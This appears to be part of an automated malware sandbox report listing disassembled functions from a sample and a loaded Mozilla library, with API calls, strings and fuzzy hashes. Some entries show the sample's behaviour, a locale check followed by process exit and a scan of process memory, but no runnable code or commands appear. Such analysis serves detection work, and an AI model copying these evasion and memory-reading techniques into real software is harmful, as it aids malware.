Opcode Fuzzy Hash: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction Fuzzy Hash: 4501AD32A05621ABD720BF6A98057CA7770AF04725F90402FF810A3390CB7CA9C2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 6CD29420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
__Init_thread_footer.LIBCMT ref: 6CD2949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CD29459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CD2946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CD2947D

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 191a89b5866c3ba7f02c5acb6ae8c84381ede3ca77ac05ef010439038cfd5e74
Instruction ID: 916fc87e0b514ffd10c22423f61eb86695bce9487a538378589312450d76d9ac
Opcode Fuzzy Hash: 191a89b5866c3ba7f02c5acb6ae8c84381ede3ca77ac05ef010439038cfd5e74
Instruction Fuzzy Hash: 4F01F570A04501C7FB00DBAED820A653278AB4532DF04053FDB4A86E61D635E45AC96A

Uniqueness

Uniqueness Score: -1.00%

Function 00413430 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434
ExitProcess.KERNEL32 ref: 00413465
ExitProcess.KERNEL32 ref: 0041346F
ExitProcess.KERNEL32 ref: 00413479
ExitProcess.KERNEL32 ref: 00413483
ExitProcess.KERNEL32 ref: 0041348D

Strings

*, xrefs: 0041344C

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction ID: 75b540bad49881e9417c8f8c63d74940121d586cf5f959f7794e893d96f52075
Opcode Fuzzy Hash: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction Fuzzy Hash: 4BF05830508608EFE364EFE0EF0976CBBB1EB8E703F001195E60A86290CA744A119B65

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CD5B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CD5B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CD5B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CD5B5F4
__Init_thread_footer.LIBCMT ref: 6CD5B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CD5B61F
std::_Facet_Register.LIBCPMT ref: 6CD5B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD5B655

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d2aa94237d2b8ffc18422edaafea9a979859b02205ab7113d736b29502ae6e00
Instruction ID: e99aa5d004fffacca175322967787633259691080226c0f1fe1d51af38bfbed1
Opcode Fuzzy Hash: d2aa94237d2b8ffc18422edaafea9a979859b02205ab7113d736b29502ae6e00
Instruction Fuzzy Hash: D731B472B00114DBDF009B6AC8589BEB7B9FB8A324F500515E606977D0DB30A816CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00413BC0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00413BDF
??_U@YAPAXI@Z.MSVCRT ref: 00413C0D

Part of subcall function 00413890: strlen.MSVCRT ref: 004138A1
Part of subcall function 00413890: strlen.MSVCRT ref: 004138C5

VirtualQueryEx.KERNEL32(00413FCD,00000000,?,0000001C), ref: 00413C52
??_V@YAXPAX@Z.MSVCRT ref: 00413D73

Part of subcall function 00413AA0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00413AB8

Strings

Z>A, xrefs: 00413C38, 00413C3B
@, xrefs: 00413C66

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @$Z>A
API String ID: 2950663791-2427737632
Opcode ID: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction ID: 18b3d1c53e1ab9283c7d4f20bb5e0d2682d9205760932c7229ac25ba092b9e39
Opcode Fuzzy Hash: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction Fuzzy Hash: 2851F9B5D00109ABDB04CF98E981AEFB7B5FF88305F108119F919A7340D738AA51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD31D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD31D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CD31BE3,?,?,6CD31D96,00000000), ref: 6CD31D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CD31BE3,?,?,6CD31D96,00000000), ref: 6CD31D4C
GetCurrentThreadId.KERNEL32 ref: 6CD31DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD31DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD31DDA

Part of subcall function 6CD31EF0: GetCurrentThreadId.KERNEL32 ref: 6CD31F03
Part of subcall function 6CD31EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CD31DF2,00000000,00000000), ref: 6CD31F0C
Part of subcall function 6CD31EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CD31F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CD31DF4

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 3604845197328b6b3a91eadd386b1159d7b95dc5e1db81876d7717192cdea9d5
Instruction ID: cdfd4b74d8caf9b277a6f46fe0be38951c32ce7069477e2d3038e921a9ce717d
Opcode Fuzzy Hash: 3604845197328b6b3a91eadd386b1159d7b95dc5e1db81876d7717192cdea9d5
Instruction Fuzzy Hash: 20416AB5200701AFDB10DF25C488B66BBF9FB8A314F10442DEA5A87B91DB71F854CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD285AC

Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2767F
Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD27693
Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD285B2

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8f2dd28062fdbe704ed0293adb09d251770537f7fbfbc92b85f4c78586f901ec
Instruction ID: 9386df77eafd128494aec59a12333440fa508b66116ce7afe4d8dd409c2e91c9
Opcode Fuzzy Hash: 8f2dd28062fdbe704ed0293adb09d251770537f7fbfbc92b85f4c78586f901ec
Instruction Fuzzy Hash: 1221D3712006019FEB14DB25C888A6AB7B9BF8430DF14482DE68BC3B51DB35F948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCF1699
VerSetConditionMask.NTDLL ref: 6CCF16CB
VerSetConditionMask.NTDLL ref: 6CCF16D7
VerSetConditionMask.NTDLL ref: 6CCF16DE
VerSetConditionMask.NTDLL ref: 6CCF16E5
VerSetConditionMask.NTDLL ref: 6CCF16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCF16F9

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 25bb59d8daaefde05f19518af5992ea76dd57c971a74d64e76d9d15c10cb1a76
Instruction ID: 0a0f00773f42c019d14948538740e5ed52b28928ec4541e76a9cbbb4819d58be
Opcode Fuzzy Hash: 25bb59d8daaefde05f19518af5992ea76dd57c971a74d64e76d9d15c10cb1a76
Instruction Fuzzy Hash: A321DCF07402086BFB106B6A8C85FBBB2BCEF9A704F004528F6059B6C0D6749D54CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CD2F598), ref: 6CD2F621

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F637
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F645
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CD2F62A

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: aacd4a40275d2d4c10f6175d112d7c2bb89787c1210bbdec8f1201fefaa0e309
Instruction ID: 66e107abffd0c5019e51ca336fd73943ebb9c6e9c9aa894e2e41f9abf6954fbe
Opcode Fuzzy Hash: aacd4a40275d2d4c10f6175d112d7c2bb89787c1210bbdec8f1201fefaa0e309
Instruction Fuzzy Hash: 7511C171205614ABEB04AF5AC948AB5777DFB8635CF100419FB0583F61CB36A815CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CD1D9F0,00000000), ref: 6CCF0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CCF0F3C
__Init_thread_footer.LIBCMT ref: 6CCF0F50
FreeLibrary.KERNEL32(?,6CD1D9F0,00000000), ref: 6CCF0F86

Strings

CoInitializeEx, xrefs: 6CCF0F36
combase.dll, xrefs: 6CCF0F18

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 28d6097c5e1d05f9dd0b6090ed4d012d5c5100cfff7f8af1b38c55e2d27434ee
Instruction ID: 847cdf90974fa7b3b1f147270bbee7a3f20cb3cc99022b9657de2927323ec372
Opcode Fuzzy Hash: 28d6097c5e1d05f9dd0b6090ed4d012d5c5100cfff7f8af1b38c55e2d27434ee
Instruction Fuzzy Hash: 1A1186747056409BFF40CF57C918B6A377CFB4A726F00421AEB1592B81E730A806CA76

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F561

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F577
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F585
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CD2F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CD2F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CD2F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CD2F499

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f8cce59d69a2f913a961ab8b06f3d7496892aeeeaaa001c1289d1e811270890d
Instruction ID: a997633db73e9a7f491fb945d3849ee33f0fb8ad6e6848a84365336402dbb44a
Opcode Fuzzy Hash: f8cce59d69a2f913a961ab8b06f3d7496892aeeeaaa001c1289d1e811270890d
Instruction Fuzzy Hash: A5F05475700204ABFB006B67D848A7A7BBDEB8625DF000419FB0587B52DB759809C775

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CCF0DF8), ref: 6CCF0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CCF0EA1
__Init_thread_footer.LIBCMT ref: 6CCF0EB5
FreeLibrary.KERNEL32 ref: 6CCF0EC5

Strings

kernel32.dll, xrefs: 6CCF0E7D
GetProcessMitigationPolicy, xrefs: 6CCF0E9B

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 71129e4045bad8300b580ccbdad0443a1c93384cfcf0b91ea5f5fded9b38fa09
Instruction ID: 594b6ed1ffd50a952dd9e103d572e8b32f7f3600dc4442ba7e8e9af97c6efbc9
Opcode Fuzzy Hash: 71129e4045bad8300b580ccbdad0443a1c93384cfcf0b91ea5f5fded9b38fa09
Instruction Fuzzy Hash: 74014F70714A81DBFF00AF9BD914B61B3B9FB46719F101515EA5582F90EB30A41ADA21

Uniqueness

Uniqueness Score: -1.00%

Function 6CD205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CD1CFAE,?,?,?,6CCE31A7), ref: 6CD205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CD1CFAE,?,?,?,6CCE31A7), ref: 6CD20616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CCE31A7), ref: 6CD2061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CCE31A7), ref: 6CD20627

Strings

<jemalloc>, xrefs: 6CD205FA, 6CD2060F
: (malloc) Error in VirtualFree(), xrefs: 6CD2061B, 6CD20625

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b2321b3c03df19d41dc9262590e82c8701f4c894c4d5d05cbca79bfb332df199
Instruction ID: ca1f78841bb7453b6a8d73cac3e9a95ae009a46e57eec1718f53dcf64255bd87
Opcode Fuzzy Hash: b2321b3c03df19d41dc9262590e82c8701f4c894c4d5d05cbca79bfb332df199
Instruction Fuzzy Hash: 88E08CE2A0101437F9142356AC86DBB7A5CDBCA574F080039FE0D82321E94AAD2E91F6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42eeed391150b6b7734b0f1f20b7e98e61a16da120e23c22ba65cd3c9657df05
